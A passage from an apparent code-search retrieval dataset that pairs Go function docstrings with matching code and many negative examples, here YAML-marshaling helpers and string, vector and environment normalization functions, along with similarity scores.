error\n\tvar pubkey string\n\n\tif vva.PubKey != nil {\n\t\tpubkey, err = sdk.Bech32ifyAccPub(vva.PubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tbs, err = yaml.Marshal(struct {\n\t\tAddress sdk.AccAddress\n\t\tCoins sdk.Coins\n\t\tPubKey string\n\t\tAccountNumber uint64\n\t\tSequence uint64\n\t\tOriginalVesting sdk.Coins\n\t\tDelegatedFree sdk.Coins\n\t\tDelegatedVesting sdk.Coins\n\t\tEndTime int64\n\t\tStartTime int64\n\t\tVestingPeriods vestingtypes.Periods\n\t\tValidatorAddress sdk.ConsAddress\n\t\tReturnAddress sdk.AccAddress\n\t\tSigningThreshold int64\n\t\tCurrentPeriodProgress CurrentPeriodProgress\n\t\tVestingPeriodProgress []VestingProgress\n\t\tDebtAfterFailedVesting sdk.Coins\n\t}{\n\t\tAddress: vva.Address,\n\t\tCoins: vva.Coins,\n\t\tPubKey: pubkey,\n\t\tAccountNumber: vva.AccountNumber,\n\t\tSequence: vva.Sequence,\n\t\tOriginalVesting: vva.OriginalVesting,\n\t\tDelegatedFree: vva.DelegatedFree,\n\t\tDelegatedVesting: vva.DelegatedVesting,\n\t\tEndTime: vva.EndTime,\n\t\tStartTime: vva.StartTime,\n\t\tVestingPeriods: vva.VestingPeriods,\n\t\tValidatorAddress: vva.ValidatorAddress,\n\t\tReturnAddress: vva.ReturnAddress,\n\t\tSigningThreshold: vva.SigningThreshold,\n\t\tCurrentPeriodProgress: vva.CurrentPeriodProgress,\n\t\tVestingPeriodProgress: vva.VestingPeriodProgress,\n\t\tDebtAfterFailedVesting: vva.DebtAfterFailedVesting,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), err\n}", "func (d DurationMillis) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Millisecond), nil\n}", "func (s String) MarshalYAML() (interface{}, error) {\n\tif !s.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn s.value, nil\n}", "func Dump(v interface{}) ([]byte, error) {\n\treturn yaml.Marshal(v)\n}", "func (d *Dataset) YAML() (string, error) {\n\tback := d.Dict()\n\n\tb, err := yaml.Marshal(back)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(b), nil\n}", "func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\n\td, err := yaml.Marshal(&m)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(d), nil\n}", "func (c *Config) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}", "func SPrintYAML(a interface{}) (string, error) {\n\tb, err := MarshalJSON(a)\n\t// doing yaml this way because at times you have nested proto structs\n\t// that need to be cleaned.\n\tyam, err := yamlconv.JSONToYAML(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(yam), nil\n}", "func (s String) MarshalYAML() (interface{}, error) {\n\tif len(string(s)) == 0 || string(s) == `\"\"` {\n\t\treturn nil, nil\n\t}\n\treturn string(s), nil\n}", "func ToYAML(v interface{}) ([]byte, error) {\n\treturn yaml.Marshal(v)\n}", "func MarshalYAMLWithDescriptions(val interface{}) (interface{}, error) {\n\ttp := reflect.TypeOf(val)\n\tif tp.Kind() == reflect.Ptr {\n\t\ttp = tp.Elem()\n\t}\n\n\tif tp.Kind() != reflect.Struct {\n\t\treturn nil, fmt.Errorf(\"only structs are supported\")\n\t}\n\n\tv := reflect.ValueOf(val)\n\tif v.Kind() == reflect.Ptr {\n\t\tv = v.Elem()\n\t}\n\n\tb, err := yaml.Marshal(v.Interface())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar node yaml.Node\n\terr = yaml.Unmarshal(b, &node)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !DisableYAMLMarshalComments {\n\t\tfor _, n := range node.Content[0].Content {\n\t\t\tfor i := 0; i < v.NumField(); i++ {\n\t\t\t\tfieldType := tp.Field(i)\n\t\t\t\tname := strings.Split(fieldType.Tag.Get(\"yaml\"), \",\")[0]\n\n\t\t\t\tif name == \"\" {\n\t\t\t\t\tname = fieldType.Name\n\t\t\t\t}\n\n\t\t\t\tif n.Value == name {\n\t\t\t\t\tdesc := fieldType.Tag.Get(\"description\")\n\t\t\t\t\tn.HeadComment = wordwrap.WrapString(desc, 80) + \".\"\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\tnode.Kind = yaml.MappingNode\n\tnode.Content = node.Content[0].Content\n\n\treturn &node, nil\n}", "func (a *AppConfig) Dump() ([]byte, error) {\n\tb, err := yaml.Marshal(a)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "func ToYaml(objs []runtime.Object) ([]byte, error) {\n\tvar out bytes.Buffer\n\tfor _, obj := range objs {\n\t\t// the idea is from https://github.com/ant31/crd-validation/blob/master/pkg/cli-utils.go\n\t\tbs, err := json.Marshal(obj)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar us unstructured.Unstructured\n\t\tif err := json.Unmarshal(bs, &us.Object); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tunstructured.RemoveNestedField(us.Object, \"status\")\n\n\t\tbs, err = yaml.Marshal(us.Object)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tout.WriteString(\"---\\n\")\n\t\tout.Write(bs)\n\t\tout.WriteString(\"\\n\")\n\t}\n\treturn out.Bytes(), nil\n}" ]
[ "0.710122", "0.7007147", "0.6850516", "0.6689686", "0.65715975", "0.6550256", "0.6548482", "0.653693", "0.65306467", "0.6528684", "0.6524846", "0.65176773", "0.6494597", "0.647498", "0.64531684", "0.6434071", "0.64143425", "0.64121646", "0.64121646", "0.6408674", "0.63941634", "0.637508", "0.6369802", "0.63308024", "0.63287544", "0.63287544", "0.6324582", "0.6322086", "0.6289642", "0.6270092", "0.62341225", "0.62139845", "0.62132204", "0.61879504", "0.61698925", "0.61691976", "0.6165771", "0.61543065", "0.61539054", "0.6141767", "0.6136494", "0.6129229", "0.6118657", "0.609331", "0.6092412", "0.6079432", "0.6049371", "0.6020646", "0.60150087", "0.59963286", "0.599356", "0.5979212", "0.59691924", "0.596016", "0.5960045", "0.59571576", "0.5935965", "0.5920665", "0.59191877", "0.59138554", "0.5893095", "0.58921474", "0.5892142", "0.5886277", "0.5879883", "0.5874865", "0.58289796", "0.5800964", "0.5788488", "0.57860845", "0.5749724", "0.57447916", "0.5714084", "0.56887907", "0.5682602", "0.5677541", "0.56499606", "0.5647382", "0.5608704", "0.56054014", "0.5588619", "0.55603504", "0.54945457", "0.54938656", "0.5490516", "0.54829323", "0.5466834", "0.54007", "0.539001", "0.537833", "0.53745246", "0.5371688", "0.53645146", "0.5350431", "0.5338855", "0.53277516", "0.5304083", "0.5303335", "0.5302906", "0.5251439" ]
0.7813377
0
normalized returns a string of the normalized tokens concatenated with a single space. This is used by the diff algorithm. TODO: it'd be more efficient to have the diff algorithm work with the raw tokens directly and avoid these ephemeral allocations.
func (d *indexedDocument) normalized() string { var w strings.Builder for i, t := range d.Tokens { w.WriteString(d.dict.getWord(t.ID)) if (i + 1) != d.size() { w.WriteString(" ") } } return w.String() }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (h *FriendlyHost) Normalized() string {\n\thost, err := svchost.ForComparison(h.Raw)\n\tif err != nil {\n\t\treturn InvalidHostString\n\t}\n\treturn string(host)\n}", "func Normalize(s string) string {\n\ts = strings.ToLower(s)\n\ts = nonalpha.ReplaceAllString(s, \" \")\n\ts = encodings.ReplaceAllString(s, \"\")\n\ts = spaces.ReplaceAllString(s, \" \")\n\ts = strings.TrimSpace(s)\n\treturn s\n}", "func Normalize(s string) string {\n\ts = reDeleteCriterion.ReplaceAllString(s, \"\")\n\treturn s\n}", "func (t *Ticket) Normalize() (string, string) {\n\n\twords := t.Words()\n\twords = t.Expand(words)\n\twords = t.Capitalize(words)\n\twords = t.Exchange(words)\n\twords = t.Eliminate(words)\n\n\tsection := strings.Join(append(words, t.Number()), \" \")\n\n\treturn t.Complete(section), t.capitalize(t.Row)\n}", "func normalizeWhitespace(x string) string {\n\tx = strings.Join(strings.Fields(x), \" \")\n\tx = strings.Replace(x, \"( \", \"(\", -1)\n\tx = strings.Replace(x, \" )\", \")\", -1)\n\tx = strings.Replace(x, \")->\", \") ->\", -1)\n\treturn x\n}", "func (d *Definitions) Normalize() {\n\tmaxLength, max := 0, 0\n\tfor _, definition := range *d {\n\t\tif length := len(definition.Sense); length > maxLength {\n\t\t\tmaxLength = length\n\t\t}\n\t\tfor _, sense := range definition.Sense {\n\t\t\tif length := len([]rune(sense)); length > max {\n\t\t\t\tmax = length\n\t\t\t}\n\t\t}\n\t}\n\tfiller := \"\"\n\tfor i := 0; i < max; i++ {\n\t\tfiller += \" \"\n\t}\n\tfor i, definition := range *d {\n\t\tfor _, sense := range definition.Sense {\n\t\t\tfill := max - len(sense)\n\t\t\tfor j := 0; j < fill; j++ {\n\t\t\t\t(*d)[i].Ordinal += \" \"\n\t\t\t}\n\t\t\t(*d)[i].Ordinal += sense\n\t\t}\n\t}\n}", "func Normalize(name string) string {\n\tfargs := func(c rune) bool {\n\t\treturn !unicode.IsLetter(c) && !unicode.IsNumber(c)\n\t}\n\t// get function\n\treturn strings.Join(strings.FieldsFunc(name, fargs), \"-\")\n}", "func (v Vec) Normalized() Vec {\n\treturn v.Copy().Normalize()\n}", "func Normalize(s string) string {\n\n // A transformation to remove non-spacing marks.\n markT := func(r rune) bool { return unicode.Is(unicode.Mn, r) }\n\n // A transformation to remove clean non-letter runes.\n mappingT := func(r rune) rune {\n if !validRune[r] {\n return ' '\n }\n return r\n }\n\n // A chain of transformation for a string.\n t := transform.Chain(\n norm.NFKD,\n transform.RemoveFunc(markT),\n runes.Map(mappingT),\n )\n\n r := transform.NewReader(strings.NewReader(s), t)\n buf := new(bytes.Buffer)\n buf.ReadFrom(r)\n\n trimmed := strings.Trim(space.ReplaceAllString(buf.String(), \" \"), \" \")\n\n return strings.ToLower(trimmed)\n}", "func Normalize(input string) (result string, err error) {\n\treturn parser.Normalize(input)\n}", "func normalizeStr(v string) string {\n\tv = strings.TrimSpace(v)\n\tv = regexp.MustCompile(`[^\\S\\r\\n]+`).ReplaceAllString(v, \" \")\n\tv = regexp.MustCompile(`[\\r\\n]+`).ReplaceAllString(v, \"\\n\")\n\n\treturn v\n}", "func NormalizeWhitespace(s string) string {\n\treturn S.Join(S.Fields(s), \" \")\n}", "func Normalize(dataArray []byte) string {\n\tdata := strings.ReplaceAll(string(dataArray), \"\\r\", \" \")\n\tdata = strings.ReplaceAll(data, \"\\n\", \" \")\n\tdata = strings.ReplaceAll(data, \"\\t\", \" \")\n\tfor strings.Index(data, \" \") >= 0 {\n\t\tdata = strings.ReplaceAll(data, \" \", \" \")\n\t}\n\treturn strings.TrimSpace(data)\n}", "func Normalize(s string) string {\n\tif r, _, err := transform.String(\n\t\ttransform.Chain(\n\t\t\tnorm.NFD,\n\t\t\trunes.Remove(runes.In(unicode.Mn)),\n\t\t\tnorm.NFC,\n\t\t),\n\t\tstrings.ToLower(s),\n\t); err == nil {\n\t\treturn r\n\t}\n\n\treturn s\n}", "func (v Vec3) Normalized() Vec3 {\n\tf := 1.0 / v.Norm()\n\treturn Vec3{f * v[0], f * v[1], f * v[2]}\n}", "func (v *RelaxedVersion) NormalizedString() NormalizedString {\n\tif v == nil {\n\t\treturn \"\"\n\t}\n\tif v.version != nil {\n\t\treturn v.version.NormalizedString()\n\t}\n\treturn NormalizedString(v.customversion)\n}", "func (a Vec4) Normalized() Vec4 {\n\tlength := math.Sqrt(a.X*a.X + a.Y*a.Y + a.Z*a.Z + a.W*a.W)\n\treturn Vec4{a.X / length, a.Y / length, a.Z / length, a.W / length}\n}", "func (a Vec2) Normalized() (v Vec2, ok bool) {\n\tlength := math.Sqrt(a.X*a.X + a.Y*a.Y)\n\tif Equal(length, 0) {\n\t\treturn Vec2Zero, false\n\t}\n\treturn Vec2{\n\t\ta.X / length,\n\t\ta.Y / length,\n\t}, true\n}", "func (q1 Quat) Normalize() Quat {\n\tlength := q1.Len()\n\n\tif FloatEqual(1, length) {\n\t\treturn q1\n\t}\n\tif length == 0 {\n\t\treturn QuatIdent()\n\t}\n\tif length == InfPos {\n\t\tlength = MaxValue\n\t}\n\n\treturn Quat{q1.W * 1 / length, q1.V.Mul(1 / length)}\n}", "func (gdt *Vector3) Normalized() Vector3 {\n\targ0 := gdt.getBase()\n\n\tret := C.go_godot_vector3_normalized(GDNative.api, arg0)\n\n\treturn Vector3{base: &ret}\n\n}", "func NormalizeTag(v string) string {\n\treturn normalize(v, true)\n}", "func NormalizedName(s string) string {\n\treturn strings.Map(normalizedChar, s)\n}", "func (n Notes) Normalized() Notes {\n\tnotes := make(Notes, 0)\n\tfor _, v := range n {\n\t\tnotes = append(notes, v.Normalize())\n\t}\n\n\treturn notes\n}", "func (q Quat) Normalize() Quat {\n\tlength := q.Length()\n\tif length == 1 { // shortcut\n\t\treturn q\n\t}\n\treturn Quat{q.W / length, q.X / length, q.Y / length, q.Z / length}\n}", "func (v Quat) Normalize() Quat {\n\tl := v.Length()\n\tif l != 0 {\n\t\tv.W /= l\n\t\tv.X /= l\n\t\tv.Y /= l\n\t\tv.Z /= l\n\t}\n\treturn v\n}", "func normalize(phone string) string {\n\t// bytes buffer is more efficient than string concatenation with +\n\tvar buf bytes.Buffer\n\tfor _, ch := range phone {\n\t\tif ch >= '0' && ch <= '9' {\n\t\t\t// WriteRune: appends UTF-8 of input to buffer\n\t\t\tbuf.WriteRune(ch)\n\t\t}\n\t}\n\n\treturn buf.String()\n}", "func JoinNormalized(n Normalization, base string, elem ...string) (string, error) {\n\tif n == NoNorm {\n\t\treturn filepath.Join(append([]string{base}, elem...)...), nil\n\t}\n\treturn joinFold(n == FoldPreferExactNorm, base, elem...)\n}", "func normalize(s string) string {\n\treturn strings.Replace(s, \"_\", \"-\", -1)\n}", "func normalizeMetricName(s string) string {\n\tr1 := regWhitespace.ReplaceAllLiteral([]byte(s), []byte{'_'})\n\tr2 := bytes.Replace(r1, []byte{'/'}, []byte{'-'}, -1)\n\treturn string(regNonAlphaNum.ReplaceAllLiteral(r2, nil))\n}", "func (event *MichelsonInitialStorage) Normalize(value *ast.TypedAst) []byte {\n\tb, err := value.ToParameters(\"\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn b\n}", "func normalize(d []byte) []byte {\n\t// Source: https://www.programming-books.io/essential/go/normalize-newlines-1d3abcf6f17c4186bb9617fa14074e48\n\t// replace CR LF \\r\\n (windows) with LF \\n (unix)\n\td = bytes.Replace(d, []byte{13, 10}, []byte{10}, -1)\n\t// replace CF \\r (mac) with LF \\n (unix)\n\td = bytes.Replace(d, []byte{13}, []byte{10}, -1)\n\treturn d\n}", "func NormalizeTag(tag string) string {\n\ttag = strings.ToLower(tag)\n\treturn strings.Replace(tag, \"_\", \"-\", -1)\n}", "func (u *User) Normalize() {\n\tu.Email = strings.TrimSpace(u.Email)\n\tu.Name = strings.TrimSpace(u.Name)\n\t// removes all non-number char, including + sign\n\tu.Phone = regexp.MustCompile(`\\D`).ReplaceAllString(strings.TrimSpace(u.Phone), \"\")\n\tr := regexp.MustCompile(\"^0+\")\n\tif r.MatchString(u.Phone) {\n\t\tu.Phone = r.ReplaceAllString(u.Phone, \"\")\n\t\tu.Phone = fmt.Sprintf(\"62%s\", u.Phone)\n\t}\n\n\tu.Password = strings.TrimSpace(u.Password)\n}", "func (n *composableNormalizer) Normalize(un *unstructured.Unstructured) error {\n\tfor i := range n.normalizers {\n\t\tif err := n.normalizers[i].Normalize(un); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func canonicalizeToken(tok string, pkg schema.PackageReference) string {\n\t_, _, member, _ := DecomposeToken(tok, hcl.Range{})\n\treturn fmt.Sprintf(\"%s:%s:%s\", pkg.Name(), pkg.TokenToModule(tok), member)\n}", "func (v *Vector) Normalize() *Vector {\n\tw := snrm2(len(v.vec), v.vec)\n\tsscal(len(v.vec), 1/w, v.vec)\n\treturn v\n}", "func precompute(s string) string {\n\ttrimmed := strings.TrimSpace(strings.ToLower(punctuationReplacer.Replace(s)))\n\n\t// UTF-8 normalization\n\tt := transform.Chain(norm.NFD, runes.Remove(runes.In(unicode.Mn)), norm.NFC) // Mn: nonspacing marks\n\tresult, _, _ := transform.String(t, trimmed)\n\treturn result\n}", "func Normalize(v Vect) Vect {\n\t// Neat trick I saw somewhere to avoid div/0.\n\treturn Mult(v, 1.0/(Length(v)+f.FloatMin))\n}", "func normalize(s string) string {\n\tvar sb strings.Builder\n\tfor _, c := range s {\n\t\tif !unicode.IsLetter(c) && !unicode.IsNumber(c) {\n\t\t\tcontinue\n\t\t}\n\t\tsb.WriteRune(unicode.ToLower(c))\n\t}\n\treturn sb.String()\n}", "func (v *Vector) Normalize() *Vector {\n\tl := v.Length()\n\treturn &Vector{X: v.X / l, Y: v.Y / l, Z: v.Z / l}\n}", "func NewNormalizer() *Normalizer { return &Normalizer{Norm: \"l2\", Axis: 1} }", "func NewNormalizer() Normalizer {\n\tentity := Normalizer{\n\t\tversion: \"0.1.0\",\n\t\tname: \"Local Git Repository\",\n\t\tslug: \"local-git\",\n\t}\n\n\treturn entity\n}", "func (vn *VecN) Normalize(dst *VecN) *VecN {\n\tif vn == nil {\n\t\treturn nil\n\t}\n\n\treturn vn.Mul(dst, 1/vn.Len())\n}", "func normalizeNewTeamName(in string) (out string) {\n\tout = in\n\tif len(out) > 50 {\n\t\tout = out[:50]\n\t}\n\tout = strings.TrimSpace(out)\n\tif strings.HasPrefix(strings.ToLower(out), \"the \") {\n\t\tout = strings.TrimSpace(out[3:])\n\t}\n\t// \"Team Burninators\" and \"Burninators\" are two ways of saying same thing\n\tif strings.HasPrefix(strings.ToLower(out), \"team \") {\n\t\tout = strings.TrimSpace(out[4:])\n\t}\n\tout = strings.TrimSpace(out)\n\tif strings.HasPrefix(out, \"/\") {\n\t\tout = strings.Replace(out, \"/\", \"-\", 1)\n\t}\n\tif strings.HasPrefix(out, \".\") {\n\t\tout = strings.Replace(out, \".\", \"-\", 1)\n\t}\n\treturn\n}", "func Normalize(v *Vec) *Vec {\n\treturn Divide(v, v.Magnitude())\n}", "func (p *Vect) Normalize() {\n\t// Neat trick I saw somewhere to avoid div/0.\n\tp.Mult(1.0 / (p.Length() + f.FloatMin))\n}", "func preprocess(input string) string {\n input = strings.TrimRight(input, \"\\n.!\")\n input = strings.ToLower(input)\n\n formattedInput := strings.Split(input, \" \")\n\tfor i, word := range formattedInput {\n\t\tformattedInput[i] = strings.ToLower(strings.Trim(word, \".! \\n\"))\n }\n \n formattedInput = PostProcess(formattedInput)\n\n input = strings.Join(formattedInput,\" \")\n\n return input\n}", "func TrimSpace(ctx context.Context, t *mold.Transformer, v reflect.Value) error {\n\tv.Set(reflect.ValueOf(strings.TrimSpace(v.String())))\n\treturn nil\n}", "func TruncatedNormal(scope *Scope, shape tf.Output, dtype tf.DataType, optional ...TruncatedNormalAttr) (output tf.Output) {\n\tif scope.Err() != nil {\n\t\treturn\n\t}\n\tattrs := map[string]interface{}{\"dtype\": dtype}\n\tfor _, a := range optional {\n\t\ta(attrs)\n\t}\n\topspec := tf.OpSpec{\n\t\tType: \"TruncatedNormal\",\n\t\tInput: []tf.Input{\n\t\t\tshape,\n\t\t},\n\t\tAttrs: attrs,\n\t}\n\top := scope.AddOperation(opspec)\n\treturn op.Output(0)\n}", "func (v *Vector) Normalize() *Vector {\n\n\tif v.X == 0 && v.Y == 0 {\n\t\treturn &Vector{\n\t\t\tX: 0, Y: 0,\n\t\t}\n\t}\n\tmag := v.Length()\n\tx := (v.X / mag)\n\ty := (v.Y / mag)\n\treturn &Vector{\n\t\tX: x,\n\t\tY: y,\n\t}\n}", "func (v Vector2) Normalize() Vector2 {\n\treturn v.ScalarMultiply(1.0 / v.Length())\n}", "func (ed *Data) Normalize(raw string, opts StripOpts) string {\n\tpending := []rune{0}\n\n\t// #0: Special-case single rune tone modifiers, which appear in test data.\n\tvar singleTone bool\n\tfor i, r := range raw {\n\t\tif i == 0 && IsSkinTone(r) {\n\t\t\tsingleTone = true\n\t\t} else {\n\t\t\tsingleTone = false\n\t\t\tbreak\n\t\t}\n\t}\n\tif singleTone {\n\t\treturn raw\n\t}\n\n\t// #1: Remove VS16 and other modifiers.\n\tfor _, r := range raw {\n\t\tif r == runeVS16 {\n\t\t\t// remove VS16\n\t\t\tcontinue\n\t\t} else if IsSkinTone(r) {\n\t\t\tif opts.Tone {\n\t\t\t\t// strip without checking\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tl := len(pending)\n\t\t\tif d, ok := ed.emoji[pending[l-1]]; ok && d.modifierBase {\n\t\t\t\t// great, skin tone is valid here\n\t\t\t\tpending = append(pending, r)\n\t\t\t}\n\t\t\tcontinue\n\t\t} else if IsGender(r) && opts.Gender {\n\t\t\t// remove gender modifiers\n\t\t\tl := len(pending)\n\t\t\tif pending[l-1] == runeZWJ {\n\t\t\t\t// ... and drop a previous ZWJ if we find one\n\t\t\t\tpending = pending[:l-1]\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tpending = append(pending, r)\n\t}\n\tpending = append(pending, 0)\n\n\t// #2: Iterate chars, removing non-emoji.\n\tlp := len(pending) - 1\n\tout := make([]rune, 0, lp)\n\tvar pendingZWJ int\n\tvar allowZWJ int\n\tfor i := 1; i < lp; i++ {\n\t\tr := pending[i]\n\t\tif r == runeZWJ {\n\t\t\tif allowZWJ == i {\n\t\t\t\tpendingZWJ = i + 1 // add it before valid rune at next index\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tprev := pending[i-1]\n\n\t\tif r == runeCap {\n\t\t\t// allow if previous was number\n\t\t\tif IsBeforeCap(prev) {\n\t\t\t\tout = append(out, r)\n\t\t\t\tallowZWJ = i + 1\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsTag(r) {\n\t\t\t// allow if following a base or previous tag\n\t\t\tif IsTagBase(prev) || IsTag(prev) {\n\t\t\t\tout = append(out, r)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsTagCancel(r) {\n\t\t\t// allow if following a tag\n\t\t\tif IsTag(prev) {\n\t\t\t\tout = append(out, r)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsTag(prev) {\n\t\t\t// cancel the tag sequence if we got this far\n\t\t\tout = append(out, runeTagCancel)\n\t\t}\n\n\t\tif IsSkinTone(r) {\n\t\t\t// skin tone counts as a VS16, so look for a previous tone\n\t\t\tallowZWJ = i + 1\n\t\t\tl := len(out)\n\t\t\tif out[l-1] == runeVS16 {\n\t\t\t\tout[l-1] = r\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tout = append(out, r)\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsFlagPart(r) {\n\t\t\t// just allow\n\t\t\t// TODO(samthor): Are these part of the data? Do we need this branch?\n\t\t\tout = append(out, r)\n\t\t\tcontinue\n\t\t}\n\n\t\tif d, ok := ed.emoji[r]; ok {\n\t\t\tif pendingZWJ == i {\n\t\t\t\tout = append(out, runeZWJ)\n\t\t\t}\n\n\t\t\tout = append(out, r)\n\t\t\tif d.unqualified {\n\t\t\t\tif IsSkinTone(pending[i+1]) {\n\t\t\t\t\t// do nothing as this acts as a VS16\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t// stick a VS16 on the end\n\t\t\t\tout = append(out, runeVS16)\n\t\t\t}\n\t\t\tallowZWJ = i + 1\n\t\t\tcontinue\n\t\t}\n\t}\n\n\t// #3: Profit!\n\treturn string(out)\n}", "func TestNormalizeString(t *testing.T) {\n\tvar ReplaceTests = []struct {\n\t\tin string\n\t\tout\t string\n\t}{\n\t\t{\"Lazy -_Dog\", \"LazyDog\"},\n\t}\n\tfor _,r := range(ReplaceTests) {\n\t\tassert.Equal(t,normalizeString(r.in),r.out, \"strings don't match expected output\")\n\t}\n}", "func (m Tags) Normalize() []model.Tag {\n\tresult := make(ByScope, len(m))\n\tcnt := 0\n\tfor _, t := range m {\n\t\tresult[cnt] = t\n\t\tcnt++\n\t}\n\tsort.Sort(result)\n\treturn result\n}", "func NormalizeSymbol(symbol string) string {\n\treturn symbol\n}", "func normalize(key string) string {\n\t// drop runes not in '[a-zA-Z0-9_]', with lowering\n\t// ':' is also dropped\n\treturn strings.Map(func(r rune) rune {\n\t\tif (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '_' {\n\t\t\treturn r\n\t\t}\n\t\tif r >= 'A' && r <= 'Z' {\n\t\t\treturn 'a' + (r - 'A')\n\t\t}\n\t\treturn -1\n\t}, key)\n}", "func (k *Kernel) Normalized() ConvolutionMatrix {\n\tsum := absum(k)\n\tw := k.Width\n\th := k.Height\n\tnk := NewKernel(w, h)\n\n\t// avoid division by 0\n\tif sum == 0 {\n\t\tsum = 1\n\t}\n\n\tfor i := 0; i < w*h; i++ {\n\t\tnk.Matrix[i] = k.Matrix[i] / sum\n\t}\n\n\treturn nk\n}", "func normalizeQN(qn string) (s string) {\n\ts = strings.Replace(strings.Trim(qn, \"[]\"), \"].[\", \".\", -1)\n\treturn s\n}", "func Normalize(stmt Statement, reserved *ReservedVars, bindVars map[string]*querypb.BindVariable) error {\n\tnz := newNormalizer(reserved, bindVars)\n\t_ = SafeRewrite(stmt, nz.walkStatementDown, nz.walkStatementUp)\n\treturn nz.err\n}", "func (t *Tuple) Normalize() *Tuple {\n\tmag := t.Magnitude()\n\tif mag == 0.0 {\n\t\treturn t\n\t}\n\treturn Vector(t.x/mag, t.y/mag, t.z/mag)\n\n}", "func NormalizeSummonerName(summonerNames ...string) []string {\n\tfor i, v := range summonerNames {\n\t\tsummonerName := strings.ToLower(v)\n\t\tsummonerName = strings.Replace(summonerName, \" \", \"\", -1)\n\t\tsummonerNames[i] = summonerName\n\t}\n\treturn summonerNames\n}", "func wordSepNormalizeFunc(f *pflag.FlagSet, name string) pflag.NormalizedName {\n\tif strings.Contains(name, \"_\") {\n\t\treturn pflag.NormalizedName(strings.Replace(name, \"_\", \"-\", -1))\n\t}\n\treturn pflag.NormalizedName(name)\n}", "func (n Normalizer) Normalize(env []string) []string {\n\tvar normalized []string\n\n\t// common\n\tnormalized = append(normalized, \"NCI=true\")\n\tnormalized = append(normalized, \"NCI_VERSION=\"+n.version)\n\tnormalized = append(normalized, \"NCI_SERVICE_NAME=\"+n.name)\n\tnormalized = append(normalized, \"NCI_SERVICE_SLUG=\"+n.slug)\n\n\t// server\n\tnormalized = append(normalized, \"NCI_SERVER_NAME=local\")\n\tnormalized = append(normalized, \"NCI_SERVER_HOST=localhost\")\n\tnormalized = append(normalized, \"NCI_SERVER_VERSION=\")\n\n\t// worker\n\tnormalized = append(normalized, \"NCI_WORKER_ID=local\")\n\tnormalized = append(normalized, \"NCI_WORKER_NAME=\")\n\tnormalized = append(normalized, \"NCI_WORKER_VERSION=\")\n\tnormalized = append(normalized, \"NCI_WORKER_ARCH=\"+runtime.GOOS+\"/\"+runtime.GOARCH)\n\n\t// pipeline\n\tnormalized = append(normalized, \"NCI_PIPELINE_TRIGGER=manual\")\n\tnormalized = append(normalized, \"NCI_PIPELINE_STAGE_NAME=\")\n\tnormalized = append(normalized, \"NCI_PIPELINE_STAGE_SLUG=\")\n\tnormalized = append(normalized, \"NCI_PIPELINE_JOB_NAME=\")\n\tnormalized = append(normalized, \"NCI_PIPELINE_JOB_SLUG=\")\n\n\t// container registry\n\tnormalized = append(normalized, \"NCI_CONTAINERREGISTRY_HOST=\"+common.GetEnvironment(env, \"NCI_CONTAINERREGISTRY_HOST\"))\n\tnormalized = append(normalized, \"NCI_CONTAINERREGISTRY_REPOSITORY=\"+common.GetEnvironmentOrDefault(env, \"NCI_CONTAINERREGISTRY_REPOSITORY\", strings.ToLower(common.GetDirectoryNameFromPath(common.GetGitDirectory()+string(os.PathSeparator)+\".git\"))))\n\tnormalized = append(normalized, \"NCI_CONTAINERREGISTRY_USERNAME=\"+common.GetEnvironment(env, \"NCI_CONTAINERREGISTRY_USERNAME\"))\n\tnormalized = append(normalized, \"NCI_CONTAINERREGISTRY_PASSWORD=\"+common.GetEnvironment(env, \"NCI_CONTAINERREGISTRY_PASSWORD\"))\n\n\t// project\n\tnormalized = append(normalized, \"NCI_PROJECT_ID=\")\n\tnormalized = append(normalized, \"NCI_PROJECT_NAME=\")\n\tnormalized = append(normalized, \"NCI_PROJECT_SLUG=\")\n\tnormalized = append(normalized, \"NCI_PROJECT_DIR=\"+common.GetGitDirectory())\n\n\t// repository\n\tnormalized = append(normalized, common.GetSCMArguments(common.GetGitDirectory())...)\n\n\treturn normalized\n}", "func (e *JobExecutor) normalizeCmd(cmd []string) string {\n\tconst whiteSpace = \" \"\n\n\tnormalizedCmd := make([]string, 0, len(cmd))\n\tvars := []string{}\n\tfor idx, c := range cmd {\n\t\tc = strings.Trim(c, whiteSpace)\n\t\tif strings.Contains(c, whiteSpace) {\n\t\t\t// contains multiple command\n\t\t\tvars = append(vars, fmt.Sprintf(\"VAR%d=$(cat <<-EOS\\n%s\\nEOS\\n)\", idx, c))\n\t\t\tnormalizedCmd = append(normalizedCmd, fmt.Sprintf(`\"$VAR%d\"`, idx))\n\t\t} else {\n\t\t\tnormalizedCmd = append(normalizedCmd, c)\n\t\t}\n\t}\n\tcmdText := strings.Join(normalizedCmd, \" \")\n\tif len(vars) 